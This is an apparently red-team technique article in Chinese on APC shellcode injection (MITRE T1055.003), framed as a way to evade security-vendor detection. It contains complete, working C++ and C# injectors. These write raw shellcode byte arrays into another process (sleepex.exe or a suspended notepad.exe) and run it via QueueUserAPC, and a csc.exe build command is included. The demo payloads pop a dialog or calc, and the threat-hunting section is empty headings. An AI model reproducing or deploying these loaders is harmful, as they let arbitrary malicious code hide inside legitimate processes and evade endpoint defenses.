Metadata

Author Tahir
Creation Date 2021/08/02
Modification Date 2021/08/02
Tactics TA0005
Techniques T1055.003

Tactics

Defense Evasion

Techniques

Shellcode APC注入和加载

一般的shellcode加载器,流程为调用virtualAlloc分配空间、复制shellcode、执行shellcode,所有操作都在加载器的内存空间,隐蔽性不强,容易被发现。如果利用其他进程的内存空间,进行shellcode注入和加载执行,可以进行防御规避。

Shellcode远程线程注入,一般是利用CreateRemoteThreadSuspendThread/ SetThreadContext/ ResumeThread,和那些可用于另一过程中修改存储器,诸如VirtualAllocEx/ WriteProcessMemory:在目标进程创建一个线程,把shellcode复制到目标进程后执行。但是这些API,已经能被各大厂商进行检测拦截,所以,介绍另一种远程Shellcode注入的方式——APC注入。

APC(异步过程调用)

APC(异步过程调用):

线程在执行的时候如果自身不主动跳转去其他地方,就会一直占有CPU。所以通过APC机制,在线程执行的期间,定时检查是否存在其他需要执行的代码。

Windows APC函数是被按照先进先出(FIFO)顺序放置在一个队列Queue上面的。同时,用户APC函数极为特别,它只有在线程处于“alertable的线程等待状态”时才能被线程调用。但是,线程一旦开始调用APC函数,就会一次性将所有APC队列上的函数全部执行完毕。通过这种方式可以让ring3的死循环线程不会一直占用CPU,使得别的线程可以执行。

alertable状态代表线程暂时无重要的事情要做。APC函数不会去干预(中断)线程的运行。一个线程,有两个APC队列,分别为用户APC和系统APC。用户模式下,可以调用函数SleepEx、SignalObjectAndWait、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx都可以使目标线程处于alertable等待状态,从而让用户模式APCs执行

APC(异步过程调用)作用:

1、APCs允许用户程序和系统元件在一个进程的地址空间内某个线程的上下文中执行代码。

2、I/O管理器使用APCs来完成一个线程发起的异步的I/O操作。例如:当一个设备驱动调用IoCompleteRequest来通知I/O管理器,它已经结束处理一个异步I/O请求时,I/O管理器排队一个APC到发起请求的线程。然后线程在一个较低IRQL级别,来执行APC。 APC的作用是从系统空间拷贝I/O操作结果和状态信息到线程虚拟内存空间的一个缓冲中。

3、使用APC可以得到或者设置一个线程的上下文和挂起线程的执行。

Procedure

APC注入一般步骤

APC注入步骤简单概述,以explorer.exe进程的APC注入为例:

  • 编写一个 IinjectQueuerAPC.exe
  • 查找 explorer.exe 进程 ID
  • 在 explorer.exe 进程内存空间分配内存
  • 将 shellcode 写入该内存位置
  • 查找 explorer.exe 中的所有thread
  • 在 explorer.exe 中查找所有线程,将 APC 队列到所有这些线程
  • 将APC指向shellcode
  • 当 explorer.exe 中的线程被调度时,我们的 shellcode 就会被执行

APC注入(C++)

通常 explorer.exe有很多线程活动,所以有机会遇到一个处于alertable的线程,为了更好的演示,写一个处于alterable状态的sleepex.exe,将shellcode注入sleepex.exe的APC队列里。

sleepex.exe

1
2
3
4
5
6
7
8
#include <windows.h>
#include <stdio.h>

int main()
{
printf("enter alertable statues...............");
SleepEx(1000*600,TRUE);
}

通过 Process32First 和 Process32Next 调用,根据进程名,找到目标进程

1
2
3
4
5
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"sleepex.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}

然后打开进程、分配空间、写入shellcode;

找到 explorer 进程的PID,需要获取 sleepex.exe 进程的句柄并为 shellcode 分配一些内存。 将 shellcode 写入sleepex 的进程内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*在目标进程中申请一个空间
获取目标进程句柄
参数1:想要拥有的进程权限(本例为所有能获得的权限)
参数2:表示所得到的进程句柄是否可以被继承
参数3:被打开进程的PID
返回值:指定进程的句柄
*/
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
/*
在目标进程的内存里开辟空间
参数1:目标进程句柄
参数2:保留页面的内存地址,一般用NULL自动分配
参数3:欲分配的内存大小,字节单位
参数4:MEM_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
参数5:PAGE_EXECUTE_READWRITE 区域可被应用程序读写执行
返回值:执行成功就返回分配内存的首地址,不成功就是NULL
*/
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

//把shellcode写入到目标进程的内存空间中
/*
写shellcode到刚才给指定进程所开辟的内存空间里
参数1:OpenProcess返回的进程句柄
参数2:准备写入的内存首地址
参数3:指向要写的数据的指针(准备写入的东西)
参数4:要写入的字节数(东西的长度+0/)
参数5: 返回值。返回实际写入的字节
*/
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

遍历 sleepex.exe 的所有线程,并调用QueueUserAPC,将shellcode注入目标线程。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}

for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}

完整InjectAPC.cpp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#undef UNICODE
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <vector>
#include <tchar.h>

const wchar_t *GetWC(const char *c)
{
const size_t cSize = strlen(c)+1;
wchar_t* wc = new wchar_t[cSize];
mbstowcs (wc, c, cSize);

return wc;
}


int main()
{
unsigned char shellcode[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(shellcode);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(GetWC(processEntry.szExeFile), L"sleepex.exe") != 0) {
Process32Next(snapshot, &processEntry);
printf("processEntry.szExeFile is: %ls \n", GetWC(processEntry.szExeFile));
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL);
printf("shellAddress is: %p\n", shellAddress);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
Sleep(1000 * 2);
}
return 0;
}

编译运行后,shellcode被执行弹出对话框

APC注入(C#)

下面使用c#编写APC注入,C#思路是直接起一个新的notepad.exe进程,并设置alterable状态,然后直接进行APC注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
using System;
using System.Reflection;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class ApcInjectionNewProcess
{
public static void Main()
{
byte[] shellcode = new byte[112]{0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3};

// Target process to inject into
string processpath = @"C:\Windows\notepad.exe";
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

// Create new process in suspended state to inject into
bool success = CreateProcess(processpath, null,
IntPtr.Zero, IntPtr.Zero, false,
ProcessCreationFlags.CREATE_SUSPENDED,
IntPtr.Zero, null, ref si, out pi);

// Allocate memory within process and write shellcode
IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE);
IntPtr bytesWritten = IntPtr.Zero;
bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);

// Open thread
IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
uint oldProtect = 0;

// Modify memory permissions on allocated shellcode
resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect);

// Assign address of shellcode to the target thread apc queue
IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);

IntPtr ThreadHandle = pi.hThread;
ResumeThread(ThreadHandle);

}


private static UInt32 MEM_COMMIT = 0x1000;

private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR
private static UInt32 PAGE_READWRITE = 0x04;
private static UInt32 PAGE_EXECUTE_READ = 0x20;


[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}

[Flags]
public enum ProcessCreationFlags : uint
{
ZERO_FLAG = 0x00000000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00001000,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}

[Flags]
public enum ThreadAccess : int
{
TERMINATE = (0x0001) ,
SUSPEND_RESUME = (0x0002) ,
GET_CONTEXT = (0x0008) ,
SET_CONTEXT = (0x0010) ,
SET_INFORMATION = (0x0020) ,
QUERY_INFORMATION = (0x0040) ,
SET_THREAD_TOKEN = (0x0080) ,
IMPERSONATE = (0x0100) ,
DIRECT_IMPERSONATION = (0x0200)
}

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
int dwThreadId);

[DllImport("kernel32.dll",SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
Int32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError = true )]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId
);


[DllImport("kernel32.dll")]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern uint SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
int dwSize, uint flNewProtect, out uint lpflOldProtect);
}

用csc.exe直接编译为exe文件

1
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"System.Runtime.dll" /target:exe APCInject.cs

执行APCinject.exe,执行notepad.exe,弹出计算器calc.exe

Threat Hunting

Process and Memory Analysis

Log Analysis

Network Traffic Analysis

References